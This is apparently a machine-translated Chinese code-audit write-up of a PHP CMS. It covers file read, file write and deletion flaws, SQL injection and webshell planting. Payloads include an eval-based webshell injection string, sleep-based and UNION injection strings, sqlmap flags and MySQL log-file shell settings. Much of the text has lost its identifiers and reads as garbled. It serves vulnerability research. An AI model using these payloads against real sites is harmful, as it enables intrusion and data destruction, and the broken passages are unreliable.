原文首发于:先知社区环境建设:
首先我们来分析一下系统的路由信息以及如何构造参数。
路线分析:
系统有两条路由,一是前端功能点路由,二是后端功能点路由。 不过,两个路由代码类似,只是增加了后台路由。
添加完验证之后,我们首先看一下前端路由是如何构建的。
前端路由放在api.php文件中。
调用.php中第22行代码处的()魔术方法加载Model文件夹下的函数代码,方便后续路由调用。 去掉代码第30行特殊字符上()方法加载的反斜杠,可能是为了代码兼容。
代码第5行和第6行传入两个参数 ctrl 和 ,第7行代码实际上是将传入参数的第一个字母转换为
大写字母,因为类名的第一个字母都是大写字母,所以第8行判断该类是Api还是.
后端路由代码admin.php文件与前端路由代码基本类似,只不过在其中添加了一个检查,检测是否是
登录状态。
漏洞审计1.任意文件读取/下载
从上面的路由信息我们知道,功能点文件存放在Model文件夹中。 我们去寻找Model文件夹,发现
file.php文件是File类下的一个()方法。
在这个类的第85行,我们清楚地看到了()函数。 当我们看到这个函数想要
使用时,我们会下意识地想到两点:第一,函数的参数是否可控;第二,函数的参数是否可控。 其次,如果你想要的话,该函数没有回显
使用时需要使用echo等功能。 我们只需要检查()中的参数是否可控即可。
漏洞重现:
由于我们已经分析了上面的路线结构,因此我们可以构建利用路线,而无需专门寻找功能点。
路由中传递的是我们要实例化的类名文件,ctrl对应的是我们需要调用的方法。
2.上传任意文件
首先我们创建一个后缀为.php的文件
通过这个我们发现()方法中调用了类下的()方法。 这里的上传主要调用
使用()方法,我们主要看它是如何过滤的。
该方法最上面定义了$upext变量,里面包含了可以上传的后缀名,也就是白名单。 一般来说,这些后缀是不可用的。 然后通过下面的$接收上传的文件,
通过()获取上传的文件名
。
关键是代码第106行通过[]获取后缀名,然后到代码第107行进行正则匹配如果上传的文件名
如果不在$upext白名单中,则会返回如下提示信息。
这里不能上传,但是上传的右侧有一个创建文件的功能点。 我们发现上传任何文件都没有限制。
在()方法中,首先接收文件名name,然后使用isdir判断是否创建目录或文件,然后执行不同的操作来创建。
那我们就来看看他是怎么写这个文件的。 其实下面的功能点就可以直接写入文件内容。
其实这里写入内容的代码也在File类中。 save()方法中只是判断文件是否有写权限,并将内容直接写入文件。
漏洞重现:
3.mysql日志文件
Sql类下的()方法还是简单明了。 通过第14行传入$参数,也就是我们的SQL语句。
第15行,实例化的类调用query()方法直接执行SQL语句。最后18行执行我们的SQL语句的结果
打印出。
漏洞重现:
MySQL 日志文件
Mysql 5.6.34 及更高版本无法通过 into 和 into 写入文件
我们可以通过日志文件来编写shell
设置=开;
set = '网站的绝对路径';
4.通过修改配置文件
后台有这样一个网站设置功能点。 乍一看,这里的内容和.php文件中的内容是一致的。
首先我们看一下这个功能点的代码。 这里我们调用()方法。 第53行直接判断.php是否可以写入。
然后通过POST接收参数,但是这里的参数值会被代码第57行的()方法过滤。 按照这个方法可以看到
查看输入内容是如何过滤的。
()方法需要传入两个参数,一个是需要过滤的字符串,另一个参数决定采取哪种情况。
上面如果不给出第二个参数,则直接使用默认级别,也就是第154行下面的代码,第155行判断数据库类型是否为
如果是,则执行过滤代码。 如果没有,则转到else第158行,调用Base::()方法,并跟进该方法。
通过()函数传递传入的字符,为特殊字符添加反斜杠,无法绕过限制。
所以我们只能使用上面的if条件。 只要数据库是,下面的单引号就会被替换成两个单引号(此时,
将单引号替换为双引号),并且可以绕过此替换方法。
然后我们回到()方法的第60行,直接通过()将过滤后的内容写入到.php中。
通过分析源码我们知道输入的单引号会被两个双引号替换。 如果我们输入\',这样当替换为两个双引号时,第一个双引号前面就会有一个反斜杠,那么我们可以将前面的双引号括起来,我们的可以构造为:
\');@eval($_REQUEST[1]);/*
5. 缓存文件
当我们搜索危险函数时,我们发现了一个很有可能的地方。 我们先看看这里的$是否可控。
这里代码第37行的$o,也就是代码第49行对应的$cat数组的内容,是从数据库中的表中获取的。 所以如果这个表的内容是我们可控的,那么我们就可以写任何内容。
我们看一下表中的内容
从数据内容可以看出,这里的功能点其实就是管理栏里的内容,这里可以添加内容。
这里通过()接收参数,然后通过()插入数据
这里还是通过()来过滤数据,但是这里的()方法以后就没有过滤的作用了。
通过搜索这个文件,可以发现有好几个地方都包含这个模板文件,所以我们可以在这里写入缓存文件。
.inc文件内容如下
然后我们访问刚刚包含该文件的路由
6.sql注入
直接先输入admin.php和index.php
发现index.php有点难以理解。 但通过函数名和语义可以大致分析出它是根据一些变量或者一些路径来渲染,加载模板文件,然后回显给前端。
再看admin.php,发现有参数和ctrl参数。
我发现有两种方法,并且。 这两个函数用来判断是否有类和方法。 接下来用if中的语句来判断。 guide是类名,ctrl是函数名,有点像路由。
搜索发现处理数据库请求的类是cms,方法是lists。
直接搜索并跟进
发现有一个过滤函数,可以对变量进行一些过滤。
发现有一个过滤函数,可以对变量进行一些过滤。
发现输入已被处理
注入点存在的地方
终于找到了几个未过滤的函数方法:、、、、
那么这些方法值得一看
审核开始
我们先看第一个函数。 我们看到有这三个函数的三个文件。 我们先看第一个。
种类
可以看到传入的参数包括表名、参数id、where参数,用于过滤匹配的数据。
我在后台管理系统中没有看到这个模块的调用。 然后我看CMS类的时候发现CMS继承了该类,所以就看CMS类了。
这里可以看到ID仍然没有被过滤,直接使用了sleep(5)延迟。 返回时间为5s,与执行语句一致。 这次只有一次数据库操作,所以返回时间没有变化。
内容管理系统
和class是一样的语句,所以其实就是普通kill
测试bool盲注,拼接语句,看参数就知道id。
:27) 或 1=1#
发现回声没有任何特征,所以我们使用延迟确认,发现成功延迟了12s。 我们的语句写成4s,说明我们经历了3次注射。
此处使用 --+ 会失败。 我仍然需要使用#号。 我不太明白。
直接,注入当前用户使用的一些参数
-v 3 --level 5 --risk 3 ---agent ---user -- T --dbms mysql -p id
继续按照代码看看为什么会出现三个延迟以及如何处理
可以看到传递的参数值也是一个id,并且id在添加到sql语句之前并没有经过安全处理。 它仅针对标签参数进行过滤。 但是我们的删除执行显然没有传递tag参数,所以使用了下面的else语句。 成功拼接到语句中,根据前面的阅读方法,我们知道这些函数中没有对输入值进行过滤,就执行了我们的。
这里有两条语句拼接在一起,所以一共延迟了3次。
您可以看到没有适当的调用此方法。 它是用来加载一些模板文件中的数据的,所以放弃吧。
看到这里的调用,发现是这样处理的,而不是传递参数的那种。
处理POST传输的数据,对数据进行过滤和转义,然后返回值,所以不存在注入
函数中没有数据过滤,可能存在注入。
:1) 或睡眠(4)#
根据参数我们知道id对应的参数就是$where参数。 相应的参数也不经过过滤,直接输入即可。
延时4秒
行政
全局搜索,找到admin.php中edit方法的调用,并控制参数
然后直接抓包并修改id值。 请注意,不能使用 or。 当我输入or时,sleep()函数没有被触发,因为or意味着or,而这里id=2,2存在,所以不会被执行。 睡眠功能就像“||” 命令中的符号。 因此使用 和 直接一起执行。
:2 并睡眠(5)%23
如果执行成功,会直接延迟5秒。
可以看到也是继承的,而且注入位置是一样的。
:1 或睡眠(5)%23
厘米
过滤到cms类中的方法有这个函数调用。 前后分析发现$参数是由$id参数组成的,所以很明显是有注入的,而且id没有经过处理。
延迟成功
列表方法中还有一个注入点。 我们继续发现语句的参数是由$控制的,这个参数是可以拼接的。 我们发现name参数使用安全的方法过滤了危险字符,所以我们主要看cat和。 ,在保存方法中。
我一直想知道这个方法是在哪里调用的。 即使我用ctrl调用,我发现它是通过传递参数来调用的。 我在save方法中找到了这个方法的调用。
在阅读源码时,发现对tags参数进行了过滤,但是级别只有3级,并没有使用最高级别,所以没有办法完全过滤输入。
这个位置还有一个注入点
7. 地点
确定是否有传入的 POST。 如果是这样,它将被分配给 $ 参数。 如果没有,将分配默认值。 跟进。
可以看到,这里第一次调用读取了配置文件的内容,然后调用将默认值替换为POST中传入的参数值。 其实这里的三个参数都可以写入到shell文件中。 到这里,shell就写好了。
=|127.0.0.1:3306|root|||');($['cmd']);//
8.删除所有文件
基于POC分析代码
?=文件&ctrl=del&路径=
首先会调用Base类中的方法来判断$参数,然后判断对应的类是否存在。 如果存在则实例化该类并赋值给$model,同时判断$类中是否存在$ctrl方法。 如果存在,则调用类中的无参数方法。
/模型/Base.php#119,
通过调试,我们发现$[TB.'']=admin,所以返回值为true并且一直为true,所以上面的代码逻辑会继续往下走。
传入的$=file定位到类文件/Model/File.php
根据File类的构造方法以及前面传入的参数,$id是可控的,但是如果没有赋值的话默认为0。$table就是$=file,那么指定文件的真实路径就会被拼接在这里。 这里是整个项目的绝对磁盘路径。
这里会通过指定绝对路径来判断所有要删除的文件,如果是文件夹,则会遍历该文件夹,判断该文件夹是否为空。 那么就直接进行删除操作,并且可以添加目录遍历。 任何文件都被删除。
9. SQL
基于POC分析源代码的漏洞原理。
波克
?name=-1%"+union++()+from+.+where+%()%23&cat=0&=&=cms&ctrl=lists&=%E6%9F%A5%E8%AF%A2
基于POC分析
\模型\Cms.php#112
name、cat这三个参数都是通过GET传入的,并且是可控的。 我们直接看被调用的DB类中的方法。
/Db/Mysql.php#60
被调用方法除了前三个参数被上次调用时传入的参数覆盖外,其余两个参数均为默认值。 调试输出是最终的SQL查询语句。
select count(*) from cms_cms where 1=1 and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY id DESC limit 20
sql执行后,会调用Base类中的方法判断结果是否为数组。 如果是数组,则会存储到新数组中,并返回到$datas数组中。 通过打印该数组,可以发现注入的语句已经成功执行。 并返回结果
参考文献